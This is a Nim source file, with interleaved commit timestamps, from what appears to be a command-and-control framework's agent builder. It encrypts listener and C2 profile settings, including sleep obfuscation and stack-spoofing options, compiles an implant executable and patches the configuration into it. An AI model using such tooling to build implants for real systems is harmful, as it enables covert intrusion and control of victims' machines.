2025-08-19 20:58:47 +02:00
import terminal , strformat , strutils , sequtils , tables , system , osproc , streams , parsetoml
2025-08-18 22:05:23 +02:00
2025-08-22 10:48:00 +02:00
import .. / globals
2025-08-21 17:02:50 +02:00
import .. / core / logger
2025-08-18 22:05:23 +02:00
import .. / db / database
2025-08-21 17:02:50 +02:00
import .. / .. / common / [ types , utils , profile , serialize , crypto ]
2025-08-18 22:05:23 +02:00
const PLACEHOLDER = " PLACEHOLDER "
2025-09-27 15:18:45 +02:00
proc serializeConfiguration ( cq : Conquest , listener : Listener , sleep : int , sleepTechnique : SleepObfuscationTechnique , spoofStack : bool ) : seq [ byte ] =
2025-08-18 22:05:23 +02:00
var packer = Packer . init ( )
2025-08-19 14:34:58 +02:00
# Add listener configuration
# Variable length data is prefixed with a 4-byte length indicator
2025-09-04 13:44:50 +02:00
# Listener configuration
2025-08-18 22:05:23 +02:00
packer . add ( string . toUuid ( listener . listenerId ) )
2025-08-19 14:34:58 +02:00
packer . addDataWithLengthPrefix ( string . toBytes ( listener . address ) )
2025-08-18 22:05:23 +02:00
packer . add ( uint32 ( listener . port ) )
2025-09-04 13:44:50 +02:00
# Sleep settings
2025-08-18 22:05:23 +02:00
packer . add ( uint32 ( sleep ) )
2025-09-27 15:18:45 +02:00
packer . add ( uint8 ( sleepTechnique ) )
2025-09-04 13:44:50 +02:00
packer . add ( uint8 ( spoofStack ) )
# Public key for key exchange
2025-08-18 22:05:23 +02:00
packer . addData ( cq . keyPair . publicKey )
2025-09-04 13:44:50 +02:00
# C2 profile
2025-08-19 14:34:58 +02:00
packer . addDataWithLengthPrefix ( string . toBytes ( cq . profile . toTomlString ( ) ) )
2025-08-18 22:05:23 +02:00
let data = packer . pack ( )
2025-08-19 20:03:34 +02:00
packer . reset ( )
# Encrypt profile configuration data with a newly generated encryption key
2025-08-25 20:08:23 +02:00
var aesKey = generateBytes ( Key )
let iv = generateBytes ( Iv )
2025-08-19 20:03:34 +02:00
let ( encData , gmac ) = encrypt ( aesKey , iv , data )
2025-08-19 14:34:58 +02:00
2025-08-19 20:03:34 +02:00
# Add plaintext encryption material in front of the
packer . addData ( aesKey )
packer . addData ( iv )
packer . addData ( gmac )
packer . add ( uint32 ( encData . len ( ) ) )
let encMaterial = packer . pack ( )
wipeKey ( aesKey )
2025-08-21 17:02:50 +02:00
cq . info ( " Profile configuration serialized. " )
2025-08-19 20:03:34 +02:00
return encMaterial & encData
2025-08-18 22:05:23 +02:00
2025-08-19 20:58:47 +02:00
proc replaceAfterPrefix ( content , prefix , value : string ) : string =
result = content . splitLines ( ) . mapIt (
if it . startsWith ( prefix ) :
prefix & ' " ' & value & ' " '
else :
it
) . join ( " \n " )
2025-09-27 15:18:45 +02:00
proc compile ( cq : Conquest , placeholderLength : int , modules : uint32 ) : string =
2025-08-18 22:05:23 +02:00
let
2025-08-22 10:48:00 +02:00
configFile = fmt" {CONQUEST_ROOT}/src/agent/nim.cfg "
exeFile = fmt" {CONQUEST_ROOT}/bin/monarch.x64.exe "
agentBuildScript = fmt" {CONQUEST_ROOT}/src/agent/build.sh "
# Update conquest root directory in agent build script
var buildScript = readFile ( agentBuildScript ) . replaceAfterPrefix ( " CONQUEST_ROOT= " , CONQUEST_ROOT )
writeFile ( agentBuildScript , buildScript )
2025-08-18 22:05:23 +02:00
2025-08-19 20:58:47 +02:00
# Update placeholder and configuration values
let placeholder = PLACEHOLDER & " A " . repeat ( placeholderLength - ( 2 * len ( PLACEHOLDER ) ) ) & PLACEHOLDER
var config = readFile ( configFile )
. replaceAfterPrefix ( " -d:CONFIGURATION= " , placeholder )
. replaceAfterPrefix ( " -o: " , exeFile )
2025-09-27 15:18:45 +02:00
. replaceAfterPrefix ( " -d:MODULES= " , $ modules )
2025-08-18 22:05:23 +02:00
writeFile ( configFile , config )
2025-08-19 20:58:47 +02:00
2025-08-21 17:02:50 +02:00
cq . info ( fmt" Placeholder created ({placeholder.len()} bytes). " )
2025-08-18 22:05:23 +02:00
# Build agent by executing the ./build.sh script on the system.
2025-08-21 17:02:50 +02:00
cq . info ( " Compiling agent. " )
2025-08-18 22:05:23 +02:00
try :
# Using the startProcess function from the 'osproc' module, it is possible to retrieve the output as it is received, line-by-line instead of all at once
let process = startProcess ( agentBuildScript , options = { poUsePath , poStdErrToStdOut } )
let outputStream = process . outputStream
var line : string
while outputStream . readLine ( line ) :
2025-08-21 17:02:50 +02:00
cq . output ( line )
2025-08-18 22:05:23 +02:00
let exitCode = process . waitForExit ( )
# Check if the build succeeded or not
if exitCode = = 0 :
2025-08-21 17:02:50 +02:00
cq . info ( " Agent payload generated successfully. " )
2025-08-18 22:05:23 +02:00
return exeFile
else :
2025-08-21 17:02:50 +02:00
cq . error ( " Build script exited with code " , $ exitCode )
2025-08-18 22:05:23 +02:00
return " "
except CatchableError as err :
2025-08-21 17:02:50 +02:00
cq . error ( " An error occurred: " , err . msg )
2025-08-18 22:05:23 +02:00
return " "
2025-09-27 15:18:45 +02:00
proc patch ( cq : Conquest , unpatchedExePath : string , configuration : seq [ byte ] ) : seq [ byte ] =
2025-08-18 22:05:23 +02:00
2025-08-21 17:02:50 +02:00
cq . info ( " Patching profile configuration into agent. " )
2025-08-18 22:05:23 +02:00
try :
var exeBytes = readFile ( unpatchedExePath )
# Find placeholder
let placeholderPos = exeBytes . find ( PLACEHOLDER )
if placeholderPos = = - 1 :
raise newException ( CatchableError , " Placeholder not found. " )
2025-08-21 17:02:50 +02:00
cq . info ( fmt" Placeholder found at offset 0x{placeholderPos:08X}. " )
2025-08-18 22:05:23 +02:00
# Patch placeholder bytes
for i , c in Bytes . toString ( configuration ) :
exeBytes [ placeholderPos + i ] = c
2025-08-21 17:02:50 +02:00
cq . success ( fmt" Agent payload patched successfully: {unpatchedExePath}. " )
2025-09-27 15:18:45 +02:00
return string . toBytes ( exeBytes )
2025-08-18 22:05:23 +02:00
except CatchableError as err :
2025-08-21 17:02:50 +02:00
cq . error ( " An error occurred: " , err . msg )
2025-09-27 15:18:45 +02:00
return @ [ ]
2025-08-18 22:05:23 +02:00
# Agent generation
2025-09-27 15:18:45 +02:00
proc agentBuild * ( cq : Conquest , listenerId : string , sleepDelay : int , sleepTechnique : SleepObfuscationTechnique , spoofStack : bool , modules : uint32 ) : seq [ byte ] =
2025-08-18 22:05:23 +02:00
# Verify that listener exists
2025-09-27 15:18:45 +02:00
if not cq . dbListenerExists ( listenerId . toUpperAscii ) :
cq . error ( fmt" Listener {listenerId.toUpperAscii} does not exist. " )
return
2025-08-18 22:05:23 +02:00
2025-09-27 15:18:45 +02:00
let listener = cq . listeners [ listenerId . toUpperAscii ]
2025-08-18 22:05:23 +02:00
2025-09-27 15:18:45 +02:00
var config = cq . serializeConfiguration ( listener , sleepDelay , sleepTechnique , spoofStack )
2025-08-18 22:05:23 +02:00
2025-09-27 15:18:45 +02:00
let unpatchedExePath = cq . compile ( config . len , modules )
2025-08-18 22:05:23 +02:00
if unpatchedExePath . isEmptyOrWhitespace ( ) :
2025-09-27 15:18:45 +02:00
return
2025-08-18 22:05:23 +02:00
2025-09-27 15:18:45 +02:00
# Return packet to send to client
return cq . patch ( unpatchedExePath , config )